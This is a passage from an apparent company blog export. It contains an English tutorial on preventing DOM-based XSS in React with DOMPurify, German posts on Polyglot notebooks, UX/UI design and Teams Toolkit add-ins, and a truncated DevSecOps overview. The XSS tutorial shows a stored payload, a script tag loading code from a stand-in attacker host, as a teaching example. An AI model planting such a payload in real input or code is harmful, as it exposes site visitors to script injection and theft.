vulnerabilities. Yet there are cases not covered by React\u0026rsquo;s safeguards and which are often overlooked by developers. Let\u0026rsquo;s get to know them.\nUnderstanding Cross-Site Scripting (XSS) and its flavors Cross-Site Scripting attacks exploit the trust a user\u0026rsquo;s browser places in a website. Attackers inject malicious scripts, often in input fields or URLs, that are then executed on unsuspecting users\u0026rsquo; browsers. These scripts can steal sensitive information, manipulate user data or perform other malicious actions. Depending on the mechanism, XSS can be categorized.\nReflective (Type-1) XSS Reflective XSS involves malicious code injected via a URL that the victim clicks and thereby unintentionally brings with by himself.\nStored (Type-2) XSS Stored XSS stores malicious payload on the server and serves it to unsuspecting users.\nBut there is also a third category - DOM-based XSS, sometimes referred to as Type-0 XSS. This happens solely on the client-side - the server is completely uninvolved - injecting javascript by manipulating the Document Object Model (DOM) of a web page. So in contrast to the other types of XSS, the page delivered by the server through the HTTP request is not compromised yet behaves in a different way due to a maliciously manipulated DOM tree on the client-side.\nDOM-based XSS mitigations in React React uses a Virtual DOM and automatic HTML escaping to mitigate such type-0 XSS risks. React\u0026rsquo;s Virtual DOM is an abstraction of the browser\u0026rsquo;s actual DOM, acting as a buffer between the developer\u0026rsquo;s code and the browser. When your app\u0026rsquo;s state changes, React creates a virtual representation of the DOM. It then compares this virtual version with the actual DOM to identify changes. Once discrepancies are pinpointed, React efficiently updates only the altered parts, minimizing costly and potentially hazardous direct DOM manipulations. React\u0026rsquo;s automatic HTML escaping ensures that user input is treated as plain text, preventing the browser from interpreting it as executable code. This process significantly reduces the chances of DOM-based XSS vulnerabilities.\nSo, how can they occur despite of?\nBasically, everytime we as developers stray from the safe path and bypass the virtual DOM for example with dynamic event handlers and redirects or using createRef or dangerouslySetInnerHtml.\nThe danger of dangerouslySetInnerHTML Despite React\u0026rsquo;s defenses, XSS vulnerabilities can still arise due to developer oversight or improper use of certain features. One such feature is dangerouslySetInnerHTML. This method allows us to inject raw HTML directly into a component\u0026rsquo;s rendering. While useful in certain scenarios like rendering content from a Content Management Systems (CMS) it can open the door to XSS attacks if not used carefully.\nConsider the following code example:\nconst Profile = (props) =\u0026gt; { const name = props.name const aboutMe = props.aboutMe // Assume this comes from user input. return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;I am {name}\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;About me\u0026lt;/h2\u0026gt; \u0026lt;div dangerouslySetInnerHTML={{ __html: aboutMe }} /\u0026gt; \u0026lt;/div\u0026gt; ); } In this example, if the aboutMe content contains a malicious script it will be executed without any protection. Imagine a user filling up his profile with the following data\n{ \u0026#34;name\u0026#34;: \u0026#34;Mallory\u0026#34;, \u0026#34;aboutMe\u0026#34;: \u0026#34;\u0026lt;script src=http://mallory.org/xss.js\u0026gt;\u0026lt;/script\u0026gt;\u0026#34; } If another user views Mallory\u0026rsquo;s profile page he falls victim to the malicious code served from mallory\u0026rsquo;s evil site being executed as the script-tags are rendered directly into the DOM. This underscores the importance of using dangerouslySetInnerHTML judiciously and validating user input rigorously.\nNote how the name property is immune to code injection because React\u0026rsquo;s automatic HTML escaping renders everything inside name as a plain string.\nPreventing XSS with Sanitization: Introducing DOMPurify To fortify your React application against XSS vulnerabilities it is crucial to sanitize any user-generated input that involves rendering HTML. One powerful tool for this purpose is DOMPurify . DOMPurify is a JavaScript library that helps in preventing XSS attacks by stripping out potentially dangerous HTML and ensuring only safe content is rendered.\nWith DOMPurify you can cleanse user inputs before rendering them in your components like this:\nimport DOMPurify from \u0026#39;dompurify\u0026#39;; const Profile = (props) =\u0026gt; { const name = props.name const sanitizedAboutMe = DOMPurify.sanitize(props.aboutMe) return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;I am {name}\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;About me\u0026lt;/h2\u0026gt; \u0026lt;div dangerouslySetInnerHTML={{ __html: sanitizedAboutMe }} /\u0026gt; \u0026lt;/div\u0026gt; ); } In this example, DOMPurify.sanitize() ensures that the aboutMe content is cleansed of any potentially harmful code before rendering, providing a robust defense against XSS attacks.\nIn conclusion, while React\u0026rsquo;s built-in mechanisms provide strong protection against XSS vulnerabilities it is essential to remain vigilant nevertheless. Avoiding direct DOM manipulations or properly utilizing dangerouslySetInnerHTML and friends by implementing sanitization techniques like DOMPurify will fortify your React application against potential XSS threats, ensuring a secure and trustworthy user experience.\nPro-actively preventing vulnerabilities like XSS is part of our DevSecOps philosophy and can be ensured by implementing Secure Code Reviews and using tools like ESlint early in the development process.\n","date":"31. August 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/xss_hu91c98137f10b8d88180e945120386c60_217647_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/xss_hu91c98137f10b8d88180e945120386c60_217647_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/preventing-dom-based-cross-site-scripting-xss-in-react/","tags":["frontend","security"],"title":"Preventing DOM-based Cross-Site Scripting (XSS) in React"},{"categories":["Quick-Tipps"],"contents":"Das Konzept eines Notebooks vereint die interaktive Programmierung mit der gleichzeitigen Speicherung von Text als Markdown. Der Vorteil ist, dass man alles an einer Stelle hat und somit Programmierblöcke besser gliedern sowie mit passendem Text als Markdown unterstützen kann.\nBekannt dürfte das Konzept insbesondere bei Jupyter sein. Hier kann man blockweise Python-Code programmieren und mit Markdown dokumentieren. Vielen Studierenden mit Data-Science/Machine-Learning-Hintergrund kommt das bestimmt bekannt vor, wird Jupyter-Notebook doch gerne für die Lehre an der Universität oder Fachhochschule verwendet.\nMit Polyglot haben wir nun The New Kid on the Block oder ist es eher eine Copy Cat? Genau das schauen wir uns in diesem Blogbeitrag an, was ist gleich, was unterscheidet sich?\nWas ist Polyglot? Mit Polyglot soll die Verwendung von Notebooks deutlich verbessert werden. Wie erwähnt, ist man bei Jupyter-Notebooks auf Python als einzige Sprache beschränkt. Mit Polyglot erhält man nicht nur die Unterstützung von mehreren Programmiersprachen wie C# oder JavaScript sondern es können auch Variablen untereinander geteilt werden. Dadurch ergeben sich völlig neue Möglichkeiten in der Verwendung des Notebooks: So kann beispielsweise eine Tabelle des Microsoft-SQL-Servers abgefragt werden und das Abfrageergebnis via JavaScript visualisiert werden.\nVollständige Liste der unterstützten Programmiersprachen von Polyglot: C# F# PowerShell JavaScript HTML* Mermaid* SQL KQL (Kusto Query Language) Die mit einem * markierten Sprachen unterstützen kein Teilen von Variablen untereinander.\nVerwendet werden können Polyglot-Notebooks in VS Code mithilfe einer Extension (mehr dazu später). Als technische Basis kommt hier .NET Interactive zum Einsatz, um Code interaktiv ausführen zu können.\nGetting started mit Polyglot Das klingt alles sehr vielversprechend, also schauen wir uns doch mal an, wie das Ganze funktioniert.\nVoraussetzungen, bevor es los geht:\nVisual Studio Code ist in der neuesten Version verfügbar. .NET 7 ist in der aktuellsten Version verfügbar. Die Polyglot-Notebook-Extension ist über den Marketplace installiert. Polyglot: Erstellen eines Notebooks Um ein Notebook zu erstellen, kann man entweder die Command-Palette öffnen (F1) oder man startet den Prozess mit STRG+UMSCHALT+ALT+N.\nAls Notebook-Typ wählt man .ipynb aus.\nAnschließend wählt man die Standardsprache aus, in der die Code-Blöcke ausgeführt werden sollen. Diese kann im Nachhinein natürlich nochmal angepasst werden.\nNach dem Erstellen erscheint der erste (Code-) Block und man kann direkt loslegen.\nMenüband: Hierüber können neue Code-/Markdown-Blöcke hinzugefügt und das gesamte Notebook ausgeführt werden. Außerdem kann hierüber die Verwaltungsübersicht der Variablen des Notebooks geöffnet werden. Neben jedem Code-Block erscheint ein Run-Button, welcher nur diesen Block ausführt. Das jeweilige Ergebnis (falls vorhanden) wird entsprechend ausgegeben. Die Programmiersprache kann hierüber geändert werden. Außerdem kann zwischen Code- und Markdown-Block gewechselt werden. Vor und nach jedem Block erscheint beim Hovern mit der Maus die Option, einen Code- oder Markdown-Block hinzuzufügen. Polyglot: Features Für mich interessante Features sind z.B., dass ich hier ganz normal in C# entwickeln kann. So ist es möglich, in einem Codeblock eine Klasse und Methoden zu definieren und in einem anderen Codeblock darauf zuzugreifen:\nAußerdem kann ich über den Codeblock z.B. direkt auf eine MS-SQL-Datenbank zugreifen. Was ich hierzu zunächst benötige, ist die Installation eines NuGet-Pakets:\n// Code to Copy #r \u0026#34;nuget:Microsoft.DotNet.Interactive.SqlServer,*-*\u0026#34; Anschließend verbindet man sich mit der Datenbank. Hierdurch wird ein Kernel hinzugefügt. Darüber spezifiziert man später die Datenbank bei entsprechenden Datenbank-Operationen:\n// Code to Copy #!connect mssql --kernel-name wf-sample \u0026#34;Persist Security Info=False; Integrated Security=true; Initial Catalog=wf-sample; Data Source=(LocalDb)\\MSSQLLocalDB;\u0026#34; Das SELECT-Statement liefert dann eine Ergebnisübersicht:\nAuch hier kann man via SQL jegliche Operationen ausführen, wie z. B. ein INSERT INTO:\nEin anderes sehr interessantes Feature ist das Teilen von Variablen über die Grenzen der Programmiersprachen hinweg. Unterstützt wird dies durch die Verwaltung aller Variablen, die über das Menüband geöffnet werden können.\nIn der Tabelle werden alle Variablen und der entsprechende Kernel (also in welcher Sprache diese initial definiert wurden) dargestellt. Über den Absprunglink bei \u0026ldquo;Actions\u0026rdquo; kann die Variable mit einer anderen Sprache geteilt (share) werden. Bei einem Klick erscheint eine Übersicht, mit welcher Sprache diese Variable geteilt werden kann:\nBei der Auswahl der Sprache wird ein neuer Codeblock samt der definition der Variablen hinzugefügt (zweiter Codeblock im nächsten Screenshot):\nWie man sieht, wird der Variableninhalt zunächst in C# und anschließend in JavaScript ausgegeben. Initial definiert wurde der Wert beim Erzeugen der Klasse zu Beginn dieses Abschnittes.\nFazit zu Polyglot Der erste Eindruck von Polyglot hat mich bereits überzeugt. Man erhält mit einem Tool die Möglichkeit, in mehreren Sprachen zu entwickeln und zu dokumentieren. Und was besonders hervorsticht, ist das Teilen von Variablen über die Sprachgrenzen hinweg.\nFür mich persönlich ergeben sich durch den Einsatz von C# völlig neue Herangehensweisen, wenn ich beispielsweise programmatisch eine (API-)Schnittstelle ansprechen möchte und einige Beispiel-Aufrufe hierdurch abbilden kann. Was vorher in einem separaten Konsolen-Projekt abgebildet wurde, kann ich nun komfortabel in einem Polyglot-Notebook machen. Hierdurch kann eine Wissenssammlung von Code-Snippets (und der dazugehörigen Dokumentation) angelegt und einfach mit anderen geteilt werden. Etwas, was ich in Zukunft öfter machen werde.\nÜbrigens: Ich hatte mich bei der Benennung Polyglot gewundert, wie Microsoft hierauf kommt. Beim Recherchieren ergab alles einen Sinn: \u0026ldquo;Polyglott (Adjektiv, vom Altgriechischen πολύγλωττος (polýglōttos) für mehrsprachig, das seinerseits auf πολυ (poly) für viel und γλῶττα (glōtta) für Zunge, Sprache zurückgeht) nennt man eine Person, die viele Sprachen spricht (auch Multilinguale, Mehrsprachige).\u0026rdquo; - (Zitat aus Wikipedia ).\nThings i have learned today.\n","date":"23. August 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/polyglot_hu8b474a8a7b45b8d70476f60e0a4e6a1b_261865_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/polyglot_hu8b474a8a7b45b8d70476f60e0a4e6a1b_261865_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/polyglot-das-notebook-das-fast-alle-sprachen-spricht/","tags":["tooling",".net"],"title":"Polyglot - das Notebook, das (fast) alle Sprachen spricht!"},{"categories":["How To","Serien"],"contents":"In der Individualentwicklungsserie Teil 1 wurde das Thema agiles Projektmanagement für erfolgreiche Produkte vorgestellt. In diesem Beitrag erweitern wir die Diskussion und betrachten insbesondere die wichtige Rolle von UX- und UI-Design in agilen Projekten. Erfolgreiche Produkte erfordern nicht nur eine effiziente Entwicklung, sondern auch eine nahtlose Integration von User Experience und visuellem Design.\nIn diesem Blogbeitrag möchte ich tiefer in die Aspekte des UX-/UI-Design-Prozesses innerhalb eines agilen Projektes eintauchen.\nDie Bedeutung von User Experience (UX) Design in agilen Projekten Im ersten Teil der Serie zur Individualentwicklung haben wir gesehen, wie Agilität den Entwicklungsprozess beschleunigen und die Anpassungsfähigkeit an sich ändernde Anforderungen ermöglichen kann. In diesem Zusammenhang ist UX-Design von entscheidender Bedeutung, da es sich darauf konzentriert, das Produkt aus der Perspektive des Nutzers zu gestalten. Durch Empathie und Forschung verstehen UX-Designer die Bedürfnisse, Ziele und Herausforderungen der Nutzer. Das Ergebnis ist ein optimiertes Produkt, das nicht nur funktional, sondern auch intuitiv und angenehm in der Anwendung ist.\nDie Rolle von User Interface (UI) Design in agilen Projekten Während UX-Design die Grundlage für eine benutzerfreundliche Nutzererfahrung legt, ist UI-Design verantwortlich für die visuelle Gestaltung der Benutzeroberfläche. UI-Designer setzen die Konzepte von UX-Designern in ansprechende und ästhetisch ansprechende Designs um. Eine gut gestaltete Benutzeroberfläche trägt dazu bei, dass das Produkt eine positive Wahrnehmung bei den Nutzern hinterlässt und ihre Interaktion mit dem Produkt angenehm gestaltet.\nDie Verbindung von UX- und UI-Design im agilen Projektmanagement In einem agilen Projektmanagementansatz arbeiten UX-/UI-Designer eng mit dem Entwicklungsteam zusammen, um ein kollaboratives Umfeld zu schaffen. Zu Beginn eines Projektes wird empfohlen, Zeit in die Nutzerforschung zu investieren. Hieraus werden Personas, Benutzerflüsse (Workflows) und Wireframes skizziert. Diese dienen als Grundlage für den weiteren Designprozess, in dem die Konzepte in ansprechende Designs mit CI (Corporate Identity) Farben, Schriftarten und Grafiken umgesetzt werden.\nDie iterative Natur von UX-/UI-Design in agilen Projekten Wie im ersten Blogbeitrag der Serie beschrieben, ist Agilität geprägt von iterativen Entwicklungszyklen. Dies gilt auch für das UX- und UI-Design. Während des agilen Prozesses sammeln die Designer kontinuierlich Feedback von den Nutzern und passen ihre Entwürfe entsprechend an. So können potenzielle Probleme frühzeitig identifiziert und die Benutzerfreundlichkeit und Ästhetik des Produkts während der Entwicklung kontinuierlich optimiert werden.\nEinführung von Usability-Tests Um die Benutzerfreundlichkeit unserer Anwendung zu analysieren, haben wir, nachdem die ersten Funktionalitäten der Anwendung verfügbar waren, Usability-Tests durchgeführt. Dabei haben wir echte (End-) Nutzer in realistische Nutzungssituationen eingebunden, d.h. von den Räumlichkeiten bis zur Ausstattung haben wir die Situation so realistisch wie möglich nachgestellt. Je nach Test werden unterschiedliche Aspekte getestet. Alle haben jedoch das gleiche Ziel: potenzielle Fehlerquellen sowie Stärken und Schwächen der Benutzeroberfläche zu identifizieren.\nDie Ergebnisse der Usability-Tests dienen als Grundlage für Verbesserungen und Anpassungen. Erkannte Schwachstellen können schnell behoben werden, wodurch das Produkt kontinuierlich optimiert wird. Durch das agile Vorgehen können die Tests in kurzen Abständen durchgeführt werden, so dass Anpassungen im Design oder in der Funktionalität schnell vorgenommen werden können.\nDurch die wiederholte Durchführung von Usability-Tests in verschiedenen Phasen der Produktentwicklung können Designentscheidungen und -änderungen auf fundierten Erkenntnissen basieren. Die kontinuierliche Optimierung des UX- und UI-Designs stellt sicher, dass das Endprodukt eine hohe Nutzerzufriedenheit und eine optimale User Experience bietet und Fehlerquellen schnellstmöglich erkannt werden.\nHier mehr zu unserem agilen Projektvorgehen erfahren! Gutes UX-Design macht Ihre Anwendung besser und Ihre Kund:innen glücklicher Die Integration von UX-/UI-Design in agilen Projekten ist von entscheidender Bedeutung, da sie sicherstellt, dass die kontinuierliche Nutzerorientierung und Anpassungsfähigkeit den Kern des Entwicklungsprozesses bilden.\nBenutzerzufriedenheit UX-/UI-Design stellt die Bedürfnisse, Ziele und Emotionen der Nutzerinnen und Nutzer in den Mittelpunkt und führt zu nutzerzentrierten Produkten.\nGebrauchstauglichkeit Durch gezieltes Design wird die Benutzeroberfläche intuitiv und leicht verständlich, was die Nutzung angenehm macht. Gutes UX-Design reduziert Fehler und Missverständnisse bei der Bedienung und steigert so die Effizienz.\nWettbewerbsvorteil Produkte mit herausragender User Experience können sich am Markt differenzieren und die Kundenbindung stärken.\nKosteneinsparung Frühzeitiges Erkennen von Designproblemen durch Nutzertests minimiert spätere teure Änderungen.\nFazit Agiles Projektmanagement bietet eine ideale Umgebung für die nahtlose Integration von UX- und UI-Design in die Produktentwicklung. Die Fähigkeit, sich kontinuierlich an sich ändernde Anforderungen anzupassen und regelmäßiges Nutzerfeedback einzuholen, ermöglicht die Entwicklung erfolgreicher Produkte mit hervorragender User Experience. Indem wir die Bedeutung von UX- und UI-Design in einem agilen Kontext verstehen und eine enge Zusammenarbeit zwischen den Teams fördern, können wir sicherstellen, dass Produkte nicht nur zufriedenstellend, sondern auch effektiv und effizient sind.\nHier mehr zu unserem agilen Projektvorgehen erfahren! ","date":"16. August 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/ux-ui-design_hu686e2b11e6313fd4c7a7da91e0c9f74d_124310_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/ux-ui-design_hu686e2b11e6313fd4c7a7da91e0c9f74d_124310_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/die-rolle-von-ux-und-ui-design-f%C3%BCr-erfolgreiche-produkte-individualentwicklungsserie-teil-2/","tags":["frontend"],"title":"Die Rolle von UX- und UI-Design für erfolgreiche Produkte - Individualentwicklungsserie Teil 2"},{"categories":["How To"],"contents":"Erweiterungen von Microsoft-365-Produkten werden laut Microsoft zukünftig unter dem Namen \u0026ldquo;Teams Apps\u0026rdquo; eingeordnet. Dies betrifft auch Erweiterungen, die außerhalb von Teams leben. Somit sind auch Office-Add-Ins betroffen, deren Entwicklung exemplarisch in einem vorherigen Blogbeitrag veranschaulicht wurde. Die Entwicklung der Microsoft-365-Erweiterungen kann somit fortan mit dem Teams-Toolkit erfolgen. Welche Änderungen sich dadurch ergeben, wird nachfolgend beleuchtet.\nTeams-Toolkit und Office-Add-Ins Das Teams-Toolkit ist eine praktische Lösung, um bei der Entwicklung und Integration von Anwendungen für Microsoft Teams zu unterstützen. Es bietet eine Vielzahl von Werkzeugen und Vorlagen, um die Produktivität während des Entwicklungsprozesses zu steigern.\nIm erwähnten Blogbeitrag wurden verschiedene Entwicklungswerkzeuge für die Erweiterung von Microsoft Office vorgestellt. Nun werden diese Werkzeuge schrittweise mit dem Teams-Toolkit erweitert. Die aktuelle Version 5 des Toolkits ermöglicht die Entwicklung von Outlook-Add-Ins für Windows. Dabei gilt es jedoch zu beachten, dass sich diese Funktion noch in der Preview befindet und nicht für den produktiven Einsatz genutzt werden sollte.\nDas Unified Manifest Mit der Entwicklung von Outlook-Add-Ins über das Teams-Toolkit wird nun auch das Unified Manifest eingeführt. Bisher wurde für Erweiterungen in Office ein XML-Manifest verwendet, das je nach Anwendung oder Anwendungsfall unterschiedlich aussehen konnte. Es gab somit mehrere Definitionen für ein gültiges Manifest. Durch das Unified Manifest, das im Teams-Toolkit genutzt wird, existiert nur noch eine einzige Definition . Dieses einheitliche Manifest, welches nun im JSON-Format verfügbar ist, bringt deutliche Verbesserungen bei der Installation mit sich, da sich mehrere Erweiterungen ein Manifest teilen können. Dies trägt somit auch zu einer verbesserten Konsistenz und Verwaltung der Erweiterungen bei.\nDas XML-Manifest bestehender Office-Add-Ins kann in das JSON-Format des Unified Manifest migriert werden. Diese Migration ist entweder über das Teams-Toolkit oder mithilfe eines Kommandozeilenprogramms möglich. Eine Anleitung von Microsoft zur Durchführung der Migration ist hier verfügbar.\nExemplarisches Outlook-Add-In Zur Veranschaulichung des neuen Manifests mit dem Teams-Toolkit ist im folgenden Beispiel eine Projektmappe aufgebaut. Diese beinhaltet ein Outlook-Add-In (Ordner „add-in“) sowie ein Teams-Tab (Ordner „tab“).\nDie Konfiguration für diese beiden Erweiterungen befindet sich gemeinsam im Ordner „appPackage“ in einer einzigen Manifest-Datei „manifest.json“. Diese stellt das neue Unified Manifest dar und zeigt im Array-Block „extensions“, dass mehrere Erweiterungen innerhalb eines Manifests definiert werden können.\n{ \u0026#34;$schema\u0026#34;: \u0026#34;https://raw.githubusercontent.com/OfficeDev/microsoft-teams-app-schema/preview/DevPreview/MicrosoftTeams.schema.json\u0026#34;, \u0026#34;manifestVersion\u0026#34;: \u0026#34;devPreview\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;${{APP_ID}}\u0026#34;, \u0026#34;packageName\u0026#34;: \u0026#34;io.schnurr.demo.teamstoolkit\u0026#34;, [...] \u0026#34;configurableTabs\u0026#34;: [ ... ], \u0026#34;staticTabs\u0026#34;: [ ... ], [...] \u0026#34;extensions\u0026#34;: [ { \u0026#34;requirements\u0026#34;: { \u0026#34;scopes\u0026#34;: [ \u0026#34;mail\u0026#34; ], \u0026#34;capabilities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;Mailbox\u0026#34;, \u0026#34;minVersion\u0026#34;: \u0026#34;1.3\u0026#34; } ] }, \u0026#34;runtimes\u0026#34;: [ ... ], \u0026#34;ribbons\u0026#34;: [ { \u0026#34;contexts\u0026#34;: [ \u0026#34;mailRead\u0026#34; ], [ ... ], } ] } ] } Mit dieser Konfiguration im Unified Manifest ist es nun möglich, die beiden Erweiterungen aus der Projektmappe bereitzustellen.\nFazit Die Integration von Outlook-Add-Ins in das Teams-Toolkit und die Nutzung des Unified Manifest sind bedeutende Neuerungen, die die Vereinheitlichung und Standardisierung in Microsoft 365 vorantreiben. Diese Entwicklungen versprechen auch in Zukunft weitere Vorteile. Das Teams-Toolkit wächst kontinuierlich und wird mit der zukünftigen Unterstützung weiterer Office-Produkte zu einem umfassenden Werkzeug für die Entwicklung von Microsoft 365 heranreifen.\nInteressieren Sie sich für weitere Möglichkeiten mit der Komplettlösung Microsoft 365? Wir bieten hierfür einen umfassenden Implementierungsservice an! ","date":"9. August 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/outlook-add-ins_huab720948e484e4d9de313fc14255a100_76916_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/outlook-add-ins_huab720948e484e4d9de313fc14255a100_76916_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/office-add-in-entwicklung-mit-teams-toolkit/","tags":[".net","microsoft-365"],"title":"Office-Add-In-Entwicklung mit Teams-Toolkit"},{"categories":["Insights"],"contents":"Was wir darunter verstehen? Richtig gelesen. Denn obwohl der Begriff in aller Munde ist, so ist dieser weder geschützt noch eindeutig definiert. Jeder hat ähnliche Vorstellungen, was sich hinter dem Konzept verbirgt, lebt und beschreibt DevSecOps allerdings dann doch teilweise recht unterschiedlich. Das möchte ich heute auch tun - euch beschreiben, was DevSecOps für uns bei Objektkultur bedeutet.\nBei durchschnittlich ca. 70 neu veröffentlichten Sicherheitslücken pro Tag1 sind wir der festen Überzeugung, dass es nicht ausreicht, sich dem Thema Sicherheit einmalig zu widmen und dann davon auszugehen, man hätte seine Schäfchen im Trockenen. Die Resilienz respektive Vulnerabilität von Geschäftsanwendungen muss kontinuierlich hinterfragt und geprüft werden, damit diese nicht nur heute, sondern auch morgen Angriffen von Bad Actors Stand halten. Nicht nur, aber vor allem, wenn die Anwendungen aktiv weiterentwickelt und mit neuen Features angereichert werden. Das muss in die Köpfe der Menschen. Dieses Verständnis ist für uns ein essenzieller Bestandteil des DevSecOps-Gedankens.\nSicherheit ist kein Feature, sondern ein Prozess.\nWir betrachten im Rahmen von DevOps bereits den kompletten Lebenszyklus unserer Software von der Entwicklung (Development) über die Bereitstellung bis hin zum Betrieb (Operations). Dabei streben wir neben einem hohen Automatisierungsgrad auch die Ganzheitlichkeit und die reibungslose Verzahnung aller Aspekte an. Vor allem befassen wir uns aber mit dem immer mehr in den Vordergrund rückenden Aspekt der Sicherheit (Security) unserer Software. Mehr noch, wir machen diesen zu einem integralen Bestandteil unseres Entwicklungsprozesses: aus DevOps wird DevSecOps.\nDenn jedes digitalisierte und somit wettbewerbsfähige Unternehmen ist mittlerweile einer ständigen Bedrohungslage durch Cyber-Kriminelle ausgesetzt. Die größte Schwachstelle ist oft der Mensch, der Social-Engineering-Angriffen wie Phishing zum Opfer fällt. Umso wichtiger ist es dann, sich auf die technische Sicherheit seiner Geschäftsanwendungen verlassen zu können. Ein auf Sicherheit ausgelegter Entwicklungsprozess zahlt genau hierauf ein - kontinuierlich und von der Pike auf.\nMit der nachfolgenden Abbildung möchte ich veranschaulichen, wie der Aspekt der Sicherheit den gesamten Prozess umspannt und sich damit auf jede der Phasen auswirkt.\nAbb.: Sicherheit als zentraler Bestandteil des Entwicklungsprozesses. Wie wir DevSecOps leben Unternehmenskultur Wie bereits erwähnt, erfordert die Einführung von DevSecOps zunächst ein Umdenken im gesamten (Entwicklungs-) Team und eine Sensibilisierung für Sicherheitsrisiken. Das Bewusstsein für Sicherheit wird bei uns unter anderem dadurch geschaffen, dass jedem Mitarbeitenden Kontrollreports, z.B. für die Gerätesicherheit, zur Verfügung gestellt werden. Zudem werden unternehmensweite Sicherheitszertifizierungen, wie die ISMS-Zertifizierung nach ISO-27001, abgelegt und regelmäßige interne Phishing-Kampagnen zu Schulungszwecken ausgespielt. Außerdem nehmen wir gemeinsam an Hacking-Wettbewerben teil, sogenannte Capture the Flag (CTF) Events, um uns spielerisch zu verbessern und den Blick für Schwachstellen zu schulen.\nSecurity by Design Bestandteil der Planung ist immer die Anfertigung eines begleitenden Sicherheitskonzeptes für die Anwendung, um für Transparenz und Konsens zu sorgen. Dabei handelt es sich um ein lebendiges Dokument, das iterativ mit jedem Feature erweitert und regelmäßig ge-challenged wird. Denn Sicherheitsaspekte müssen nicht nur von Anfang an, sondern vor allem durchgehend berücksichtigt werden, um potenziellen Schwachstellen vorzubeugen - gerade bei wichtigen Architekturentscheidungen.\nAutomatisierte Sicherheitstests: Code-Reviews Während der Implementierung setzen wir auf Secure-Code-Reviews , bei denen jede neu entwickelte Zeile auf Herz und Nieren geprüft wird. Über digitale Richtlinien forcieren wir Kontrollmechanismen, wie die Einhaltung des 4-Augen-Prinzips, der Einsatz von Werkzeugen für die statische Code- und Schwachstellenanalyse oder das Static Application Security Testing (SAST), indem wir beispielsweise SonarQube, NexusIQ oder Veracode in unsere automatisierten Build-Pipelines integrieren. Hierbei ist uns wichtig, sich zwar obligatorisch, allerdings nicht blind und ausschließlich auf diese automatisierten Tools und Tests zu stützen. Wir wertschätzen ganz besonders das Know-how unserer Engineers und deren Fähigkeit, die Ergebnisse entsprechend bewerten und in einen Kontext setzen zu können. Bei erhöhtem Bedarf an Sicherheit begeben wir uns auch selbst in die Rolle des Angreifers und nutzen Taktiken aus dem Bereich Offensive-Security, um unsere Anwendungen durch gezielte Simulationen von Angriffen noch sicherer zu gestalten.\nSecure Configuration Beim Deployment einer Secure Infrastructure für unsere Anwendungen implementieren wir eine Zero-Trust-Strategie in der Cloud. Konfigurationen, aufbereitet nach dem Least-Privilege-Prinzip, werden deklarativ via Infrastructure-as-Code (IaC) bereitgestellt. Schützenswerte Informationen wie Passwörter werden konsequent nur unter Verwendung abgesicherter Services (z.B. Azure Key Vault) verschlüsselt abgelegt. Auch hier lassen wir uns früh im Prozess durch Tools wie TruffleHog unterstützen, damit Geheimnisse auch Geheimnisse bleiben.\nSecurity-Monitoring und Logging Bei aller Vorsicht ist dennoch auch Nachsicht geboten. Denn beim Katz- und Mausspiel zwischen Angreifer und Verteidiger haben erstere immer die Nase vorn2. Sicherheitsvorfälle, sollte es dazu kommen, müssen so früh wie möglich als solche identifiziert werden, um im Ernstfall schnell und effektiv handeln zu können. Daher definieren wir für unsere Anwendungen geeignete operationale Sicherheitsmetriken, wie beispielsweise verdächtig oft fehlgeschlagene Verbindungsversuche, und überwachen diese 24/7 mit entsprechenden Monitoring-Lösungen und Dashboards (z.B. Azure Monitor oder Elastic und Kibana). Hier mehr zu unseren Observability-Lösungen Ach, da wäre noch eine Sache.\nWir wissen natürlich, dass Sicherheit immer ein Kompromiss bedeutet. Ein Kompromiss zwischen Kosten, Komfort und eben Sicherheit. Deshalb passen wir die Ausprägung des Sec-Anteils in DevSecOps immer individuell auf die Bedürfnisse unserer Kunden an. Hier die perfekte Balance zu finden, ist für uns genauso Teil unserer Beratungsleistung, wie auch von DevSecOps selbst. Sie haben eine bestehende Software, die auf Performance und Code-Sicherheit überprüft werden soll? Hier geht es zu unserem Code-Review-Service. Stand 2022, bezogen auf offizielle CVE\u0026rsquo;s. Quelle: Statista \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n80% der 